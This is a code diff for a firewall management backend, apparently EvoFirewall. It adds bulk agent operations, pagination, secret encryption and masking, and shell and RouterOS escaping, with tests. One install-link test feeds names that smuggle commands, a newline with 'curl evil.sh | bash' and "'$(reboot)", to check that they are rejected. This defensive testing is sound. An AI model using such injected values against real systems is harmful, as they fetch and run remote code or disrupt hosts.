const toAdd = body.agent_ids.filter((id) => !current.includes(id))
|
||||
const toRemove = current.filter((id) => !target.has(id))
|
||||
|
||||
const applyAssignment = (agentId: string, withSet: boolean) => {
|
||||
const others = repos
|
||||
.listSetsForAgent(app.db, agentId)
|
||||
.map((s) => s.setId)
|
||||
.filter((id) => id !== set.id)
|
||||
const next = withSet ? [...others, set.id] : others
|
||||
repos.setAgentPolicySets(app.db, agentId, next)
|
||||
}
|
||||
|
||||
app.sqlite.transaction(() => {
|
||||
for (const agentId of toAdd) applyAssignment(agentId, true)
|
||||
for (const agentId of toRemove) applyAssignment(agentId, false)
|
||||
})()
|
||||
|
||||
auditMutation(app, config, req, {
|
||||
action: 'policy_set.agents.update',
|
||||
targetType: 'app_resource',
|
||||
targetId: set.id,
|
||||
summary: `Назначение набора ${set.name} обновлено`,
|
||||
details: {
|
||||
set_id: set.id,
|
||||
added: toAdd,
|
||||
removed: toRemove,
|
||||
},
|
||||
})
|
||||
return {
|
||||
agent_ids: repos.listAgentIdsForSet(app.db, set.id),
|
||||
added: toAdd,
|
||||
removed: toRemove,
|
||||
}
|
||||
},
|
||||
)
|
||||
}
|
||||
@@ -63,12 +63,17 @@ export const portAclRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
async (req) => {
|
||||
const agent = repos.getAgent(app.db, req.params.id)
|
||||
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
|
||||
const items = repos.listAgentPortRules(app.db, agent.id).map((row) => {
|
||||
const listName = row.listId
|
||||
? repos.getIpList(app.db, row.listId)?.name
|
||||
: null
|
||||
return mapPortRule(row, listName)
|
||||
})
|
||||
const rows = repos.listAgentPortRules(app.db, agent.id)
|
||||
const listNames = repos.mapIpListNames(
|
||||
app.db,
|
||||
rows.map((r) => r.listId).filter((id): id is string => Boolean(id)),
|
||||
)
|
||||
const items = rows.map((row) =>
|
||||
mapPortRule(
|
||||
row,
|
||||
row.listId ? (listNames.get(row.listId) ?? null) : null,
|
||||
),
|
||||
)
|
||||
return { items }
|
||||
},
|
||||
)
|
||||
|
||||
@@ -12,7 +12,8 @@ import {
|
||||
} from '../services/policy/resolve-hostname.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { auditMutation } from '../services/audit.js'
|
||||
import { mapPolicyRule } from '../services/row-mappers.js'
|
||||
import { mapPolicyRule, mapPolicyRules } from '../services/row-mappers.js'
|
||||
import { applyPagination } from '../services/pagination.js'
|
||||
|
||||
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -26,29 +27,28 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const s = repos.getPolicySet(app.db, req.params.id)
|
||||
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRules(app.db, s.id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
items: mapPolicyRules(repos.listPolicyRules(app.db, s.id), app.db),
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
app.get<{ Querystring: { set_id?: string; agent_id?: string } }>(
|
||||
'/rules',
|
||||
async (req) => {
|
||||
if (req.query.agent_id) {
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRulesForAgent(app.db, req.query.agent_id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
}
|
||||
app.get<{
|
||||
Querystring: { set_id?: string; agent_id?: string; limit?: string; offset?: string }
|
||||
}>('/rules', async (req) => {
|
||||
if (req.query.agent_id) {
|
||||
return {
|
||||
items: mapPolicyRules(
|
||||
repos.listPolicyRulesForAgent(app.db, req.query.agent_id),
|
||||
app.db,
|
||||
),
|
||||
}
|
||||
const items = repos
|
||||
.listPolicyRules(app.db, req.query.set_id)
|
||||
.map((r) => mapPolicyRule(r, app.db))
|
||||
return { items }
|
||||
},
|
||||
)
|
||||
}
|
||||
const paged = applyPagination(
|
||||
mapPolicyRules(repos.listPolicyRules(app.db, req.query.set_id), app.db),
|
||||
req.query,
|
||||
)
|
||||
return { items: paged.items, total: paged.total }
|
||||
})
|
||||
|
||||
app.post('/rules', async (req) => {
|
||||
const body = createPolicyRuleBodySchema.parse(req.body)
|
||||
@@ -174,9 +174,10 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
details: { set_id: s.id, ordered_ids: body.ordered_ids },
|
||||
})
|
||||
return {
|
||||
items: repos
|
||||
.listPolicyRules(app.db, s.id)
|
||||
.map((r) => mapPolicyRule(r, app.db)),
|
||||
items: mapPolicyRules(
|
||||
repos.listPolicyRules(app.db, s.id),
|
||||
app.db,
|
||||
),
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
|
||||
import { repos } from '@evofw/db'
|
||||
import { putSettingsBodySchema } from '@evofw/shared'
|
||||
import type { AppConfig } from '../config.js'
|
||||
import { encryptSecret } from '../services/secret-cipher.js'
|
||||
|
||||
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
app,
|
||||
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
|
||||
const body = putSettingsBodySchema.parse(req.body)
|
||||
for (const [k, v] of Object.entries(body)) {
|
||||
if (k === 'evobgp_api_token' && v === '********') continue
|
||||
repos.setSetting(app.db, k, v)
|
||||
repos.setSetting(
|
||||
app.db,
|
||||
k,
|
||||
k === 'evobgp_api_token' ? encryptSecret(v) : v,
|
||||
)
|
||||
}
|
||||
return { ok: true }
|
||||
})
|
||||
|
||||
@@ -38,3 +38,17 @@ try {
|
||||
app.log.error(err)
|
||||
process.exit(1)
|
||||
}
|
||||
|
||||
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
|
||||
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
|
||||
process.on(signal, () => {
|
||||
app.log.info(`${signal} received, shutting down`)
|
||||
app
|
||||
.close()
|
||||
.then(() => process.exit(0))
|
||||
.catch((err) => {
|
||||
app.log.error(err, 'error during shutdown')
|
||||
process.exit(1)
|
||||
})
|
||||
})
|
||||
}
|
||||
Whitespace-only changes.
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('agents CRUD critical paths', () => {
|
||||
|
||||
@@ -0,0 +1,183 @@
|
||||
import { describe, it, expect, afterAll } from 'vitest'
|
||||
import { buildApp } from '../app.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
const testConfig: AppConfig = {
|
||||
databaseUrl: 'sqlite::memory:',
|
||||
jwtSecret: 'test',
|
||||
jwtTtlHours: 24,
|
||||
serverPort: 8080,
|
||||
staticDir: null,
|
||||
logLevel: 'error',
|
||||
authRequired: false,
|
||||
authIssuer: 'https://auth.test',
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function createInvitedAgent(
|
||||
app: Awaited<ReturnType<typeof buildApp>>,
|
||||
name: string,
|
||||
): Promise<string> {
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name, platform: 'linux' },
|
||||
})
|
||||
expect(created.statusCode).toBe(201)
|
||||
return (created.json() as { agent_id: string }).agent_id
|
||||
}
|
||||
|
||||
describe('bulk agent operations', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('approve-bulk approves invited agents in one request', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'bulk-01')
|
||||
const a2 = await createInvitedAgent(app, 'bulk-02')
|
||||
const a3 = await createInvitedAgent(app, 'bulk-03')
|
||||
|
||||
const bulk = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1, a2, a3] },
|
||||
})
|
||||
expect(bulk.statusCode).toBe(200)
|
||||
const body = bulk.json() as { items: { id: string; status: string }[] }
|
||||
expect(body.items.map((i) => i.id).sort()).toEqual([a1, a2, a3].sort())
|
||||
expect(body.items.every((i) => i.status === 'approved')).toBe(true)
|
||||
|
||||
// shared default set assigned on approve
|
||||
for (const id of [a1, a2, a3]) {
|
||||
const sets = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${id}/policy-sets`,
|
||||
})
|
||||
const items = (sets.json() as { items: { set_id: string }[] }).items
|
||||
expect(items.some((s) => s.set_id === 'set-shared-default')).toBe(true)
|
||||
}
|
||||
|
||||
// repeated bulk is a no-op (already approved)
|
||||
const again = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1] },
|
||||
})
|
||||
expect(again.statusCode).toBe(200)
|
||||
expect((again.json() as { items: unknown[] }).items).toEqual([])
|
||||
})
|
||||
|
||||
it('PUT /policy-sets/:id/agents replaces assignment of the set', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'assign-01')
|
||||
const a2 = await createInvitedAgent(app, 'assign-02')
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/approve-bulk',
|
||||
payload: { agent_ids: [a1, a2] },
|
||||
})
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/policy-sets',
|
||||
payload: { name: 'bulk-assign-set' },
|
||||
})
|
||||
const setId = (created.json() as { id: string }).id
|
||||
|
||||
// assign both
|
||||
const put = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [a1, a2] },
|
||||
})
|
||||
expect(put.statusCode).toBe(200)
|
||||
expect((put.json() as { added: string[] }).added.sort()).toEqual(
|
||||
[a1, a2].sort(),
|
||||
)
|
||||
|
||||
// a1 keeps set when a2 removed; shared default preserved for both
|
||||
const drop = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [a1] },
|
||||
})
|
||||
expect(drop.statusCode).toBe(200)
|
||||
const dropBody = drop.json() as {
|
||||
agent_ids: string[]
|
||||
removed: string[]
|
||||
}
|
||||
expect(dropBody.agent_ids).toEqual([a1])
|
||||
expect(dropBody.removed).toEqual([a2])
|
||||
|
||||
const setsA1 = (
|
||||
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a1}/policy-sets` }))
|
||||
.json() as { items: { set_id: string }[] }
|
||||
).items.map((s) => s.set_id)
|
||||
const setsA2 = (
|
||||
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a2}/policy-sets` }))
|
||||
.json() as { items: { set_id: string }[] }
|
||||
).items.map((s) => s.set_id)
|
||||
expect(setsA1).toContain(setId)
|
||||
expect(setsA2).not.toContain(setId)
|
||||
expect(setsA2).toContain('set-shared-default')
|
||||
|
||||
// empty array clears the whole assignment
|
||||
const clear = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: [] },
|
||||
})
|
||||
expect(clear.statusCode).toBe(200)
|
||||
expect((clear.json() as { agent_ids: string[] }).agent_ids).toEqual([])
|
||||
|
||||
// unknown agent → 404, and nothing changed
|
||||
const bad = await app.inject({
|
||||
method: 'PUT',
|
||||
url: `/api/v1/policy-sets/${setId}/agents`,
|
||||
payload: { agent_ids: ['no-such-agent'] },
|
||||
})
|
||||
expect(bad.statusCode).toBe(404)
|
||||
})
|
||||
|
||||
it('delete-bulk removes agents in one request and skips unknown ids', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const a1 = await createInvitedAgent(app, 'bulk-del-01')
|
||||
const a2 = await createInvitedAgent(app, 'bulk-del-02')
|
||||
const a3 = await createInvitedAgent(app, 'bulk-del-03')
|
||||
|
||||
const bulk = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/agents/delete-bulk',
|
||||
payload: { agent_ids: [a1, a2, 'no-such-agent'] },
|
||||
})
|
||||
expect(bulk.statusCode).toBe(200)
|
||||
const body = bulk.json() as { items: string[]; deleted: number }
|
||||
expect(body.deleted).toBe(2)
|
||||
expect(body.items.sort()).toEqual([a1, a2].sort())
|
||||
|
||||
for (const id of [a1, a2]) {
|
||||
const res = await app.inject({ method: 'GET', url: `/api/v1/agents/${id}` })
|
||||
expect(res.statusCode).toBe(404)
|
||||
}
|
||||
|
||||
// a3 не упомянут в запросе — остаётся на месте
|
||||
const kept = await app.inject({ method: 'GET', url: `/api/v1/agents/${a3}` })
|
||||
expect(kept.statusCode).toBe(200)
|
||||
})
|
||||
})
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('install-links', () => {
|
||||
@@ -112,6 +116,55 @@ describe('install-links', () => {
|
||||
expect(row?.status).toBe('pending')
|
||||
})
|
||||
|
||||
it('rejects install link names with unsafe characters', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const bad = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
|
||||
})
|
||||
expect(bad.statusCode).toBe(400)
|
||||
|
||||
const quotes = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: "name'$(reboot)", platform: 'linux' },
|
||||
})
|
||||
expect(quotes.statusCode).toBe(400)
|
||||
})
|
||||
|
||||
it('masks per-list api_token in list responses', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: {
|
||||
name: 'evobgp-masked',
|
||||
type: 'evobgp_community',
|
||||
config: {
|
||||
api_url: 'https://bgp.example.com',
|
||||
api_token: 'super-secret-token',
|
||||
community_id: '',
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(created.statusCode).toBe(200)
|
||||
const body = created.json() as { config_json: string }
|
||||
expect(body.config_json).not.toContain('super-secret-token')
|
||||
expect(body.config_json).toContain('********')
|
||||
|
||||
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
|
||||
const items = (lists.json() as { items: { config_json: string }[] }).items
|
||||
expect(
|
||||
items.some((l) => l.config_json.includes('super-secret-token')),
|
||||
).toBe(false)
|
||||
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
|
||||
})
|
||||
|
||||
it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
|
||||
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
|
||||
}
|
||||
|
||||
/** Strip control characters that have no business inside generated scripts. */
|
||||
function stripControlChars(s: string): string {
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return s.replace(/[\x00-\x1f\x7f]/g, '')
|
||||
}
|
||||
|
||||
function escapeRosString(s: string): string {
|
||||
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"')
|
||||
// RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
|
||||
return stripControlChars(s)
|
||||
.replace(/\\/g, '\\\\')
|
||||
.replace(/"/g, '\\"')
|
||||
.replace(/\$/g, '\\$')
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
|
||||
platform: string
|
||||
installLinkId: string
|
||||
}): string {
|
||||
const cp = opts.cpUrl.replace(/\/$/, '')
|
||||
const escape = (s: string) => s.replace(/'/g, `'\\''`)
|
||||
const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
|
||||
const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
|
||||
const header = [
|
||||
'#!/usr/bin/env bash',
|
||||
'# EvoFirewall short install link — env pre-set',
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
} from '@evofw/shared'
|
||||
import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { maskListConfig } from '../secret-cipher.js'
|
||||
|
||||
export function getListConfig(list: {
|
||||
configJson: string
|
||||
@@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) {
|
||||
id: l.id,
|
||||
name: l.name,
|
||||
type: l.type,
|
||||
config_json: l.configJson,
|
||||
config_json: maskListConfig(l.configJson),
|
||||
content_hash: l.contentHash,
|
||||
refreshed_at: l.refreshedAt,
|
||||
last_error: l.lastError,
|
||||
|
||||
@@ -8,6 +8,7 @@ import {
|
||||
rebuildManualListEntries,
|
||||
} from './entries.js'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
import { decryptSecret } from '../secret-cipher.js'
|
||||
|
||||
function hashCidrs(cidrs: string[]): string {
|
||||
return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}`
|
||||
@@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise<void> {
|
||||
repos.replaceIpListEntries(db, listId, cidrs)
|
||||
} else if (list.type === 'evobgp_community') {
|
||||
const apiUrl =
|
||||
String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url')
|
||||
String(config.api_url ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_url') ||
|
||||
''
|
||||
const token =
|
||||
String(config.api_token ?? '') ||
|
||||
repos.getSetting(db, 'evobgp_api_token')
|
||||
decryptSecret(String(config.api_token ?? '') || null) ??
|
||||
decryptSecret(repos.getSetting(db, 'evobgp_api_token'))
|
||||
const communityId = String(config.community_id ?? '')
|
||||
if (!apiUrl || !token || !communityId) {
|
||||
throw new Error('evobgp_api_url, token and community_id required')
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
/**
|
||||
* Backwards-compatible list pagination: without limit/offset the response is
|
||||
* the full list (total === items.length); with them, a page plus the total.
|
||||
*/
|
||||
export function applyPagination<T>(
|
||||
items: T[],
|
||||
query: { limit?: string; offset?: string },
|
||||
): { items: T[]; total: number } {
|
||||
const total = items.length
|
||||
const limitRaw = query.limit !== undefined ? Number(query.limit) : NaN
|
||||
const offsetRaw = query.offset !== undefined ? Number(query.offset) : NaN
|
||||
if (!Number.isFinite(limitRaw) && !Number.isFinite(offsetRaw)) {
|
||||
return { items, total }
|
||||
}
|
||||
const limit = Number.isFinite(limitRaw)
|
||||
? Math.max(1, Math.min(1000, Math.floor(limitRaw)))
|
||||
: items.length
|
||||
const offset = Number.isFinite(offsetRaw)
|
||||
? Math.max(0, Math.floor(offsetRaw))
|
||||
: 0
|
||||
return { items: items.slice(offset, offset + limit), total }
|
||||
}
|
||||
@@ -54,13 +54,41 @@ export type EvaluatedPolicy = {
|
||||
}
|
||||
}
|
||||
|
||||
function expandList(db: Db, listId: string | null | undefined): string[] {
|
||||
if (!listId) return []
|
||||
return repos.listIpListEntries(db, listId).map((e) => e.cidr)
|
||||
/**
|
||||
* Prefetched expansion data: one batched query per kind instead of a query
|
||||
* per rule (this code runs on every agent policy poll, ~60s per agent).
|
||||
*/
|
||||
type ExpansionContext = {
|
||||
entriesByList: Map<string, string[]>
|
||||
resolvedByRule: Map<string, string[]>
|
||||
listNames: Map<string, string>
|
||||
}
|
||||
|
||||
function buildExpansionContext(
|
||||
db: Db,
|
||||
rules: { id: string; listId: string | null; hostname: string | null }[],
|
||||
portRuleRows: { listId: string | null }[],
|
||||
): ExpansionContext {
|
||||
const listIds = [
|
||||
...new Set(
|
||||
[
|
||||
...rules.map((r) => r.listId?.trim() || ''),
|
||||
...portRuleRows.map((r) => r.listId?.trim() || ''),
|
||||
].filter(Boolean),
|
||||
),
|
||||
]
|
||||
const hostnameRuleIds = [
|
||||
...new Set(rules.filter((r) => r.hostname?.trim()).map((r) => r.id)),
|
||||
]
|
||||
return {
|
||||
entriesByList: repos.mapIpListEntriesByListIds(db, listIds),
|
||||
resolvedByRule: repos.mapResolvedCidrsByRuleIds(db, hostnameRuleIds),
|
||||
listNames: repos.mapIpListNames(db, listIds),
|
||||
}
|
||||
}
|
||||
|
||||
function expandRule(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
rule: {
|
||||
cidr: string | null
|
||||
listId: string | null
|
||||
@@ -70,9 +98,10 @@ function expandRule(
|
||||
): string[] {
|
||||
if (rule.cidr?.trim()) return [rule.cidr.trim()]
|
||||
if (rule.hostname?.trim()) {
|
||||
return repos.listResolvedForRule(db, rule.id).map((r) => r.cidr)
|
||||
return ctx.resolvedByRule.get(rule.id) ?? []
|
||||
}
|
||||
return expandList(db, rule.listId)
|
||||
const listId = rule.listId?.trim() || ''
|
||||
return listId ? (ctx.entriesByList.get(listId) ?? []) : []
|
||||
}
|
||||
|
||||
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
|
||||
@@ -83,7 +112,7 @@ function resolveDefaultAction(agentDefaultAction: string | null | undefined): De
|
||||
}
|
||||
|
||||
function sourceMeta(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
rule: {
|
||||
cidr: string | null
|
||||
listId: string | null
|
||||
@@ -97,12 +126,12 @@ function sourceMeta(
|
||||
return { kind: 'hostname', label: rule.hostname.trim() }
|
||||
}
|
||||
const listId = rule.listId?.trim() || ''
|
||||
const name = listId ? repos.getIpList(db, listId)?.name : null
|
||||
const name = listId ? ctx.listNames.get(listId) : null
|
||||
return { kind: 'list', label: name || listId || 'list' }
|
||||
}
|
||||
|
||||
function expandPortSrcCidrs(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
row: {
|
||||
srcKind: string
|
||||
srcCidr: string | null
|
||||
@@ -114,18 +143,22 @@ function expandPortSrcCidrs(
|
||||
return [row.srcCidr.trim()]
|
||||
}
|
||||
if (row.srcKind === 'list') {
|
||||
const cidrs = expandList(db, row.listId)
|
||||
const cidrs = row.listId
|
||||
? (ctx.entriesByList.get(row.listId.trim()) ?? [])
|
||||
: []
|
||||
return cidrs.length ? uniqCidrs(cidrs) : []
|
||||
}
|
||||
return []
|
||||
}
|
||||
|
||||
function expandPortRules(db: Db, agentId: string): EvaluatedPortRule[] {
|
||||
const rows = repos.listEnabledAgentPortRules(db, agentId)
|
||||
function expandPortRules(
|
||||
ctx: ExpansionContext,
|
||||
rows: ReturnType<typeof repos.listEnabledAgentPortRules>,
|
||||
): EvaluatedPortRule[] {
|
||||
const out: EvaluatedPortRule[] = []
|
||||
for (const row of rows) {
|
||||
const action = row.action === 'close' ? 'close' : 'open'
|
||||
const srcCidrs = expandPortSrcCidrs(db, row)
|
||||
const srcCidrs = expandPortSrcCidrs(ctx, row)
|
||||
if (!srcCidrs.length) continue
|
||||
const portStart = Math.max(1, Math.min(65535, row.portStart))
|
||||
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
|
||||
@@ -161,6 +194,8 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
.filter((s) => s.enabled === 1)
|
||||
const ordered = repos.listPolicyRulesForAgent(db, agentId)
|
||||
const overrides = repos.listOverrides(db, agentId)
|
||||
const portRuleRows = repos.listEnabledAgentPortRules(db, agentId)
|
||||
const ctx = buildExpansionContext(db, ordered, portRuleRows)
|
||||
|
||||
const deny: string[] = []
|
||||
const allow: string[] = []
|
||||
@@ -169,7 +204,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
let rulesAllow = 0
|
||||
|
||||
for (const rule of ordered) {
|
||||
const cidrs = expandRule(db, rule)
|
||||
const cidrs = expandRule(ctx, rule)
|
||||
const action = rule.action === 'deny' ? 'deny' : 'allow'
|
||||
if (action === 'deny') {
|
||||
deny.push(...cidrs)
|
||||
@@ -178,7 +213,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
allow.push(...cidrs)
|
||||
rulesAllow += 1
|
||||
}
|
||||
const src = sourceMeta(db, rule)
|
||||
const src = sourceMeta(ctx, rule)
|
||||
const setName =
|
||||
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
|
||||
chain.push({
|
||||
@@ -214,7 +249,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
const conflictsDropped = allowRaw.length - allowCidrs.length
|
||||
const defaultAction = resolveDefaultAction(agent.defaultAction)
|
||||
const policyMode = legacyModeFromDefaultAction(defaultAction)
|
||||
const portRules = expandPortRules(db, agentId)
|
||||
const portRules = expandPortRules(ctx, portRuleRows)
|
||||
|
||||
const payload = JSON.stringify({
|
||||
apply_version: POLICY_APPLY_VERSION,
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function createAgent(
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
import { describe, it, expect, afterAll } from 'vitest'
|
||||
import { buildApp } from '../app.js'
|
||||
import { repos } from '@evofw/db'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
const testConfig: AppConfig = {
|
||||
databaseUrl: 'sqlite::memory:',
|
||||
jwtSecret: 'test',
|
||||
jwtTtlHours: 24,
|
||||
serverPort: 8080,
|
||||
staticDir: null,
|
||||
logLevel: 'error',
|
||||
authRequired: false,
|
||||
authIssuer: 'https://auth.test',
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('stats retention + list pagination', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('deleteStatsSamplesBefore drops only old samples', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'retention-agent', platform: 'linux' },
|
||||
})
|
||||
const agentId = (created.json() as { agent_id: string }).agent_id
|
||||
const iso = (daysAgo: number) =>
|
||||
new Date(Date.now() - daysAgo * 86_400_000).toISOString()
|
||||
for (const daysAgo of [60, 45, 10, 0]) {
|
||||
repos.insertStatsSample(app.db, {
|
||||
id: crypto.randomUUID(),
|
||||
agentId,
|
||||
packetsDropped: daysAgo,
|
||||
packetsAccepted: 0,
|
||||
prefixCount: 0,
|
||||
kernelMethod: null,
|
||||
recordedAt: iso(daysAgo),
|
||||
})
|
||||
}
|
||||
|
||||
const cutoff = new Date(Date.now() - 30 * 86_400_000).toISOString()
|
||||
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||
expect(deleted).toBe(2)
|
||||
|
||||
const remaining = repos.listStatsSamples(app.db, agentId, 100)
|
||||
expect(remaining.map((s) => s.packetsDropped).sort()).toEqual([0, 10])
|
||||
})
|
||||
|
||||
it('list endpoints return total and honor limit/offset', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
for (const name of ['page-a', 'page-b', 'page-c']) {
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name, platform: 'linux' },
|
||||
})
|
||||
}
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: { name: 'page-list', type: 'static' },
|
||||
})
|
||||
|
||||
const all = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
||||
expect(all.statusCode).toBe(200)
|
||||
